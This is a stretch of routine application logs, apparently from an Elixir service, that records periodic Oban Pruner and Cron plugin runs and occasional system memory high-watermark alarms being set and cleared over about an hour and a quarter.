{"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.756 [info] {"source":"oban","duration":701,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:56:08.271 [info] {"source":"oban","duration":1971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:38.273 [info] {"source":"oban","duration":1825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.758 [info] {"source":"oban","duration":423,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:57:08.277 [info] {"source":"oban","duration":2338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:38.285 [info] {"source":"oban","duration":7133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.759 [info] {"source":"oban","duration":528,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:58:08.288 [info] {"source":"oban","duration":2171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:38.290 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.763 [info] {"source":"oban","duration":2788,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:59:08.292 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:38.297 [info] {"source":"oban","duration":4313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.764 [info] {"source":"oban","duration":428,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:00:08.301 [info] {"source":"oban","duration":2080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:38.304 [info] {"source":"oban","duration":2213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.766 [info] {"source":"oban","duration":529,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:01:08.307 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:17.079 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:01:38.309 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.768 [info] {"source":"oban","duration":796,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:02:08.312 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:17.084 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:02:38.314 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.769 [info] {"source":"oban","duration":383,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:03:08.316 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:38.318 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.770 [info] {"source":"oban","duration":384,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:04:08.321 [info] {"source":"oban","duration":2209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:38.324 [info] {"source":"oban","duration":1941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.771 [info] {"source":"oban","duration":534,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:05:08.326 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:38.330 [info] {"source":"oban","duration":2580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.772 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:06:08.334 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:38.338 [info] {"source":"oban","duration":3778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.773 [info] {"source":"oban","duration":574,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:07:08.341 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:17.111 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:07:38.344 [info] {"source":"oban","duration":2711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.774 [info] {"source":"oban","duration":641,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:08:08.348 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:38.353 [info] {"source":"oban","duration":4219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.777 [info] {"source":"oban","duration":761,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:09:08.357 [info] {"source":"oban","duration":3803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:38.367 [info] {"source":"oban","duration":8548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.779 [info] {"source":"oban","duration":1011,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:10:08.371 [info] {"source":"oban","duration":2554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:38.376 [info] {"source":"oban","duration":3410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.781 [info] {"source":"oban","duration":1308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:11:08.379 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:38.382 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.782 [info] {"source":"oban","duration":457,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:12:08.386 [info] {"source":"oban","duration":3667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:38.389 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.783 [info] {"source":"oban","duration":624,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:13:08.391 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:38.394 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.786 [info] {"source":"oban","duration":1596,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:14:08.396 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:38.399 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.789 [info] {"source":"oban","duration":1953,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:15:08.401 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:38.405 [info] {"source":"oban","duration":3052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.791 [info] {"source":"oban","duration":958,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:16:08.407 [info] {"source":"oban","duration":1814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:38.410 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.792 [info] {"source":"oban","duration":695,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:17:08.415 [info] {"source":"oban","duration":4368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:38.419 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.795 [info] {"source":"oban","duration":1180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:18:08.422 [info] {"source":"oban","duration":1787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:38.425 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.797 [info] {"source":"oban","duration":640,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:19:08.427 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:38.430 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.798 [info] {"source":"oban","duration":663,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:20:08.432 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:38.434 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.801 [info] {"source":"oban","duration":810,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:21:08.437 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:38.440 [info] {"source":"oban","duration":1887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.802 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:22:08.443 [info] {"source":"oban","duration":2862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:38.447 [info] {"source":"oban","duration":2842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.803 [info] {"source":"oban","duration":334,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:23:08.452 [info] {"source":"oban","duration":2992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:38.455 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.805 [info] {"source":"oban","duration":373,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:24:08.457 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:38.460 [info] {"source":"oban","duration":1913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.806 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:25:08.463 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:38.467 [info] {"source":"oban","duration":2865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.807 [info] {"source":"oban","duration":650,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:26:08.470 [info] {"source":"oban","duration":2456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:17.218 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:26:38.472 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.809 [info] {"source":"oban","duration":391,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:27:08.475 [info] {"source":"oban","duration":2432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:38.478 [info] {"source":"oban","duration":2313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.812 [info] {"source":"oban","duration":2185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:28:08.480 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:38.487 [info] {"source":"oban","duration":5884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.813 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:29:08.489 [info] {"source":"oban","duration":1760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:38.492 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.815 [info] {"source":"oban","duration":984,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:30:08.494 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:38.497 [info] {"source":"oban","duration":2665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.816 [info] {"source":"oban","duration":393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:31:08.500 [info] {"source":"oban","duration":2326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:38.503 [info] {"source":"oban","duration":2315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.817 [info] {"source":"oban","duration":469,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:32:08.512 [info] {"source":"oban","duration":6965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:38.514 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.818 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:33:08.517 [info] {"source":"oban","duration":2625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:38.519 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.819 [info] {"source":"oban","duration":523,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:34:08.521 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:38.523 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.821 [info] {"source":"oban","duration":776,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:35:08.525 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:38.527 [info] {"source":"oban","duration":1831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.822 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:36:08.530 [info] {"source":"oban","duration":1843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:38.536 [info] {"source":"oban","duration":3360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.823 [info] {"source":"oban","duration":525,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:37:08.538 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:38.542 [info] {"source":"oban","duration":2649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.824 [info] {"source":"oban","duration":773,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:38:08.545 [info] {"source":"oban","duration":2173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:38.547 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.826 [info] {"source":"oban","duration":682,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:39:08.549 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:38.551 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.828 [info] {"source":"oban","duration":397,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:40:08.554 [info] {"source":"oban","duration":1925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:38.556 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.829 [info] {"source":"oban","duration":719,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:41:08.558 [info] {"source":"oban","duration":1848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:38.561 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.832 [info] {"source":"oban","duration":826,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:42:08.563 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:38.566 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.833 [info] {"source":"oban","duration":366,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:43:08.569 [info] {"source":"oban","duration":1970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:38.573 [info] {"source":"oban","duration":3738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.834 [info] {"source":"oban","duration":743,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:44:08.577 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:38.579 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.838 [info] {"source":"oban","duration":1627,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:45:08.584 [info] {"source":"oban","duration":3970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:38.587 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.839 [info] {"source":"oban","duration":652,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:46:08.589 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:38.591 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.841 [info] {"source":"oban","duration":677,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:47:08.594 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:38.596 [info] {"source":"oban","duration":1865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.843 [info] {"source":"oban","duration":606,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:48:08.599 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:38.602 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.846 [info] {"source":"oban","duration":635,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:49:08.605 [info] {"source":"oban","duration":2607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:38.608 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.849 [info] {"source":"oban","duration":990,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:50:08.610 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:38.614 [info] {"source":"oban","duration":3599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.850 [info] {"source":"oban","duration":567,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:51:08.617 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:38.619 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.852 [info] {"source":"oban","duration":1571,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:52:08.623 [info] {"source":"oban","duration":2956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:38.626 [info] {"source":"oban","duration":2138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.854 [info] {"source":"oban","duration":384,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:53:08.628 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:38.630 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.855 [info] {"source":"oban","duration":489,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:54:08.632 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:38.635 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.856 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:55:08.638 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:38.641 [info] {"source":"oban","duration":2227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.858 [info] {"source":"oban","duration":447,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:56:08.643 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:38.645 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.861 [info] {"source":"oban","duration":724,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:57:08.648 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:38.652 [info] {"source":"oban","duration":2746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.863 [info] {"source":"oban","duration":1572,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:58:08.654 [info] {"source":"oban","duration":1811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:38.657 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.865 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:59:08.659 [info] {"source":"oban","duration":1832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:38.663 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.867 [info] {"source":"oban","duration":847,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:00:08.666 [info] {"source":"oban","duration":2237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:17.384 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:00:38.672 [info] {"source":"oban","duration":5152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.869 [info] {"source":"oban","duration":727,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:01:08.674 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:38.676 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.870 [info] {"source":"oban","duration":410,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:02:08.678 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:38.682 [info] {"source":"oban","duration":3061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.871 [info] {"source":"oban","duration":712,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:03:08.685 [info] {"source":"oban","duration":2751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:38.689 [info] {"source":"oban","duration":2773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.873 [info] {"source":"oban","duration":629,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:04:08.692 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:38.697 [info] {"source":"oban","duration":2434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.877 [info] {"source":"oban","duration":1964,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:05:08.700 [info] {"source":"oban","duration":2208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:38.702 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.878 [info] {"source":"oban","duration":622,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:06:08.706 [info] {"source":"oban","duration":3298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:38.709 [info] {"source":"oban","duration":1943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.880 [info] {"source":"oban","duration":377,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:07:08.713 [info] {"source":"oban","duration":3002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:17.425 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:07:38.716 [info] {"source":"oban","duration":2433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.882 [info] {"source":"oban","duration":1286,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:08:08.721 [info] {"source":"oban","duration":4122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:38.723 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.883 [info] {"source":"oban","duration":601,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:09:08.727 [info] {"source":"oban","duration":2760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:38.731 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.884 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:10:08.734 [info] {"source":"oban","duration":2195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:38.737 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.886 [info] {"source":"oban","duration":1510,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:11:08.739 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:38.743 [info] {"source":"oban","duration":3306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.888 [info] {"source":"oban","duration":1121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:12:08.746 [info] {"source":"oban","duration":1958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:38.748 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.889 [info] {"source":"oban","duration":832,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 